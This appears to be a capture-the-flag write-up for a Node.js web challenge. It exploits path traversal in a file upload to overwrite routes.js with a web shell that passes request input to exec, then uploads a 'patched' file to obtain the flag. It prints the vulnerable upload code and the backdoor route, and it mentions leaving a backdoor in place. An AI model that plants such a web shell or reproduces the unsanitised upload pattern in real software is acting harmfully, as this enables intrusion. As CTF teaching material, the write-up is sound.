Resourcehub Core
Resourcehub Core
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: arbitrary-file-overwrite, patch-verification-bypass, route-hijacking
Summary
Walkthrough of the CUSTOM Web Resourcehub Core. Task: Web application with file upload functionality. Solution: Exploited path traversal in file upload to overwrite routes.js, achieved RCE, then uploaded patched version to pass verification and obt
Description
Resourcehub Core is a web application for resource management. The task was to find a vulnerability in the file upload mechanism, achieve remote code execution (RCE), and then escalate privileges (or meet certain conditions) to obtain the flag protected by a root process.
Analysis
During application analysis, two APIs were discovered: a React frontend and a Node.js/Express backend API accessible at /challenge/api/.
Vulnerability: Path Traversal in File Upload
A critical vulnerability was found in the /challenge/api/upload-resource endpoint. The server accepted uploaded files and saved them using the original filename without proper sanitization:
javascript read-only • copy allowed// server.js (fragment) const storage = multer.diskStorage({ destination: (req, file, cb) => { cb(null, 'uploads/'); }, filename: (req, file, cb) => { cb(null, file.originalFilename); // Vulnerability here } });
Using file.originalFilename directly in path.join (inside multer or the save logic) allows an attacker to use ../ sequences to escape the uploads/ directory and overwrite arbitrary files that the challenge user has write access to.
Solution
1. Reconnaissance and Source Code Reading
Using file reading functionality (if available) or other information leakage methods, the server.js and routes/routes.js files were obtained. This allowed precise identification of path structure and API logic.
2. Achieving RCE via Route Overwrite
Since the application runs on Node.js with Express, routes are defined in the routes/routes.js file. We can overwrite this file by sending a POST request to /api/upload-resource with a file named ../routes/routes.js.
The malicious routes.js included a new endpoint for command execution:
javascript read-only • copy allowedconst express = require('express'); const router = express.Router(); const { exec } = require('child_process'); router.post('/shell', (req, res) => { exec(req.body.cmd, (error, stdout, stderr) => { res.send(stdout || stderr); }); }); // ... remaining original routes ... module.exports = router;
After uploading and restarting the server (or automatic reload via nodemon if used), we gained command execution capability.
3. Privilege Escalation and Flag Retrieval
The flag was located at /flag.txt and owned by root. A process running as root was discovered that provided a /api/verify endpoint. This endpoint checked if the application was "patched". If the routes/routes.js code contained a fix for the Path Traversal vulnerability, the root process would copy the flag to an accessible location or output it.
4. Final Payload
To pass the verification, we needed to upload a "patched" version of routes/routes.js that uses path.basename() to sanitize the filename:
javascript read-only • copy allowed// Patched fragment in routes/routes.js const path = require('path'); // ... const filename = path.basename(file.originalFilename); // ...
Final exploitation steps:
- Prepare
routes.jswith fixed logic (and possibly leave a backdoor for convenience). - Upload it via Path Traversal:
filename: "../routes/routes.js". - Restart the server via
/api/restart(if such endpoint was provided or via RCE). - Call
/api/verifyto trigger the check and obtain the flag.
Key Takeaways / Lessons
- Mastering arbitrary-file-overwrite, patch-verification-bypass, route-hijacking was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-01-27 • CUSTOM • Resourcehub Core • Difficulty: Medium